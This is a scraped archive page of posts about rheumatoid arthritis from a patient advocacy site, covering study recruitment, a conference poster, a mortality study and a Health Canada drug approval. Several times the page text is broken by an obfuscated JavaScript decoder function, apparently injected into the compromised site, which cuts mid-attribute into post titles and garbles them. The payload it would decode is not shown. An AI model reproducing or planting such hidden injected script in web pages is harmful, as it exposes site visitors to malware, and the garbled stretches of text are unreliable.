All posts related to "RA"

Do you have Rheumatoid Arthritis or Lupus? Join the OPAM-IA study!

Participate in a new study that will use wearable activity trackers, paired with a new web application, and physical activity counselling to help you get more active!

Rheumatoid arthritis (RA) and systemic lupus erythematosus (SLE) are types of inflammatory arthritis that causes inflammation and> deformity of the joints, and affects your immune system. Physical activity can help to decrease pain and disability in joints affected by RA and SLE while benefiting your overall health.

woman with rheumatoid arthritis looking at physical activity trackerIf you are a person living with RA or SLE, and are interested in getting more active, we invite YOU to participate in the OPAM-IA study. Through participating in the OPAM-IA study, you will learn how to get active with RA or SLE. You will be asked to attend an education session in Metro Vancouver, use a Fitbit Flex activity tracker with the new web application, and receive counselling from a registered physiotherapist. The total time commitment for the study is 6 months. Enrol now to start in January 2018!

If you are interested, please fill out a 2-minute screening questionnaire.All responses will remain confidential, and you will be contacted by a research staff member within 48 hours to discuss your eligibility further.

Survey Link: http://open.arthritisresearch.ca/survey/index.php?r=survey/index/sid/455398/lang/en.

For more information, contact Halima Elmi, study coordinator at 604-207-4053 or 1-844-707-4053 (toll free), or via email at opam.activity@arthritisresearch.ca.

Hello World

‘; ?>

ACE presenting abstract at American College of Rheumatology (ACR) Annual Meeting

ACE presenting abstract at American College of Rheumatology (ACR) Annual Meeting 

Cheryl Koehn will be presenting Poster 353 on Sunday, November 5 between 9 am-11 am: Patient Experiences of Rheumatoid Arthritis Models of Care: An International Survey

ACR Annual Meeting BannerThe 81st American College of Rheumatology (ACR) Annual Meeting being held November 3-8 in San Diego is the world’s premiere meeting of over 12,500 rheumatologists and rheumatology health professionals, sharing the latest arthritis advances and research.

Arthritis Consumer Experts (ACE) is excited to announce that Cheryl Koehn, Founder and President of ACE, will be presenting Poster 353: Patient Experiences of Rheumatoid Arthritis Models of Care: An International Survey on Sunday, November 5 from 9am-11am at Poster Hall C. We encourage you to attend the presentation. Cheryl, as lead author of the abstract, will be discussing the results of a first ever global survey, by patients, for patients, examining what patients’ RA models of care experiences are like in their country.

The survey was conducted by the Global RA Network, founded in 2016 by RA patient organizations and leaders from 21 countries to build international relationships and work on common goals and initiatives to improve the lives of people living with RA around the world.

ACE will also be reporting news and information from the ACR on our social media channels throughout the meeting, including ACE’s Facebook and Twitterpages and the Arthritis Broadcast Network.

If you have any areas of interest you would like ACE to report on from ACR, please send questions directly to feedback@jointhealth.org.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r/" title="Permalink to Pre-RA Study: Open to patients with RA & their immediate family member" rel="bookmark">Pre-RA Study: Open to patients with RA & their immediate family member

“Preventing Rheumatoid Arthritis (Pre-RA): perspectives of people with RA, people at risk and of rheumatologists” study
group picture of a multigenerational family

 

A research study funded by the Canadian Rheumatology Association’s Initiative for Outcomes in Rheumatology cAre (CIORA) wants to understand the perspectives of people with RA, those at risk of RA and health care providers about potential treatments aimed at preventing rheumatoid arthritis. Arthritis Consumer Experts is a partner organization on the project.

Are you:

  • Aged over 18?
  • Someone with rheumatoid arthritis OR you have a first degree relative (parent, sibling, adult child) with rheumatoid arthritis?
    AND,
  • Someone with access to a computer and the internet?

Join the study as a patient with RA: https://surveys.core.ubc.ca/PreRA_RAs/login.html

Join the study as a first-degree relative: https://surveys.core.ubc.ca/PreRA_FDRs/login.html

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r/#more-13385" class="more-link">Continue reading

Patients with rheumatoid arthritis are now living longer

Image of an angel statute to represent lower mortality rate in rheumatoid arthritis patientsA study published by researchers at the University of British Columbia suggests that rheumatoid arthritis (RA) patients are no longer facing a higher risk of death than the general population. The study analyzed mortality data and looked at death rates among RA patients versus deaths among a control group of the general population.

The study included an estimated 25,000 people. Patients were divided into two groups - the first one was those with RA cases diagnosed between the years 1996 and 2000 and the second group was those with RA cases diagnosed from 2001 to 2006. Researchers looked at and tracked doctor visit records and other patient information through the year 2010.

Continue reading

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe of rheumatologists” study" rel="bookmark">“Preventing Rheumatoid Arthritis (Pre-RA): perspectives of people with RA, people at risk and of rheumatologists” study

Logos for pre-ra rheumatoid arthritis study“Preventing Rheumatoid Arthritis (Pre-RA): perspectives of people with RA, people at risk and of rheumatologists” study

Join the study as a patient with RA or first-degree relative

A research study funded by the Canadian Rheumatology Association’s Initiative for Outcomes in Rheumatology cAre (CIORA) wants to understand the perspectives of people with RA, those at risk of RA and health care providers about potential treatments aimed at preventing rheumatoid arthritis. Arthritis Consumer Experts is a partner organization on the project.

Are you:

  • Aged over 18?
  • Someone with rheumatoid arthritis OR you have a first degree relative (parent, sibling, adult child) with rheumatoid arthritis?
    AND,
  • Someone with access to a computer and the internet?

Continue reading

Health Canada approves sarilumab (Kevzara®) for the treatment of rheumatoid arthritis

Approved stamps for sarilumab for rheumatoid arthritis

Image courtesy of karate at FreeDigitalPhotos.net/

Sarilumab (Kevzara®) is now approved in Canada to treat moderate to severely active rheumatoid arthritis

Health Canada has approved a new treatment for Canadians with moderate to severely active rheumatoid arthritis. Sarilumab (Kevzara®) was issued its Notice of Compliance on January 12, 2017. Click here to view Health Canada’s Summary Basis of Decision.

Sarilumab (Kevzara®), an interleukin-6 receptor antagonist, has been approved for the treatment of adult patients with moderately to severely active rheumatoid arthritis who have had an inadequate reponse or intolerance to one or more biologic or non-biologic Disease-Modifying Anti-Rheumatic Drugs (DMARDs).
Continue reading